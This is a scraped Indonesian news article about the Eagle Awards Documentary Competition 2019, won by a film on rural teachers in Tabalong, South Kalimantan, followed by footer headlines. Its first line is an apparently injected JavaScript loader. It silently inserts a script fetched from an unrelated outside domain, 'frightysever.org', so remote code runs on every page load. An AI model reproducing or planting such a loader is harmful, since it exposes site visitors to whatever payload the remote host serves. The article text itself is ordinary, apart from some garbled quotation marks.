(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Tiga dari lima film finalis dokumenter terpilih menjadi pemenang ajang Eagle Awards Documentary Competition (EADC) 2019 di CGV Grand Indonesia pada Rabu (20/11). Juara pertama diberikan pada film Paguruan 4.0yang digarap sutradara asal Tabalong, Kalsel, Abdi Firdaus dan Lyanta Laras Putri.
Film ini menceritakan perjuangan para tenaga pendidik sekolah-sekolah di Kabupaten Tabalong, Kalimantan Selatan. Meski tinggal di pelosok desa, para pendidik berusaha mengikuti perubahan global terkait kemajuan teknologi.
Sementara juara kedua digaet film berjudul Torang Ma Ampung garapan Maryani/Fahimatukannah dan juara ketiga disabet film berjudul Jejak Sinyal di Kaki Egon karya Theresia Sude Malinto/Katarina Makthildis.
Atas raihan prestasi tersebut, Abdi dan Laras berhak mendapatkan beasiswa S2 dari Kementerian Pendidikan dan Kebudayaan (Kemendikbud) RI dan penghargaan lainnya.
Abdi mengatakan, filmnya menceritakan tentang sosok guru muda bernama Deni Ranoptri, yang mengajar di SDN 1 Nawin Hilir, Kecamatan Haruai, Kabupaten Tabalong. Meski berada di pelosok desa, guru muda itu berprinsip pendidikan harus selalu mengikuti perubahan zaman. “Maka ia selalu berusaha memanfaatkan Teknologi Informasi Komunikasi (TIK) sebagai media untuk membantu guru-guru mengembangkan modul pembelajaran,†katanya.
Dia tak menyangka, jika proposal film yang diajukannnya ke tim EADC 2019 berhasil masuk tahap produksi dan awarding.“Apalagi pada saat awarding film kami dipilih juri sebagai film terbaik satu. Karena sebelumnya tidak pernah menyangka sama sekali, karena kalau dilihat dari film karya kawan-kawan di tim lain juga pada bagus semua,†ujarnya.
Tiga film ini telah melalui tahap seleksi dari ratusan proposal yang diserahkan peserta. Ketiga film itu telah dipilih oleh sineas ternama seperti Anggy Umbara, Sha Ine Febriyanti dan Yandy Laurens.
Presiden Direktur Metro TV Suryopratomo berharap ajang EADC 2019 dapat meningkatkan kesadaran masyarakat Indonesia pentingnya media komunikasi untuk menyatukan bangsa dari ujung Barat hingga Timur Indonesia. Pasalnya, Indonesia harus terus berproses untuk menjadi Indonesia.
“Sejarah besar Indoensia dimulai saat Presiden Soekarno meluncurkan satelit Palapa. Satelit itu berhasil menghubungkan kita sebagai negara kepulauan terbesar,” katanya.
Selain itu dia berharap film domumenter ini dapat menggerakkan sineas muda untuk selalu berkreativitas. Apalagi film-film dokumenter sanggup menggambarkan fenomena yang terjadi dengan cara yang menghibur. “Metro TV dan Eagle Award bangga bisa menghasilkan sineas muda. Kita jadi bisa melihat realitas di daerah. Mudah-mudahan ini bisa menjadi inspirasi bahwa kita bisa memberikan yang terbaik untuk negeri ini,” tandasnya.(cel/medcom)
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
This website uses cookies.